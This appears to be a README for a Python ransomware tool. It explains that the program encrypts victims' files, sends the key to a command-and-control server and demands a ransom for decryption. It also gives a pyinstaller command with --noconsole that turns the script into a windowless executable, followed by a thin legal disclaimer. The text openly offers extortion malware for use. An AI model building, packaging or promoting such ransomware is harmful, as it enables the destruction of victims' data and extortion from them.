Python based ransomware that sends the encryption key to a remote server.
This will encrypt the victims files and the decryption key will be sent off to a c&c. In order for the victim to decrypt the files, they have to pay a fee/ransom price. Once they have paid, they use the decryptor application in order to decrypt their files with the given key.
In order to turn this into an executable for a certain operating system.
Just use pyinstaller: pyinstaller --onefile --noconsole encryption.py
Warning: Only use this software according to your current legislation. Misuse of this software can raise legal and ethical issues which I don't support nor can be held responsible for.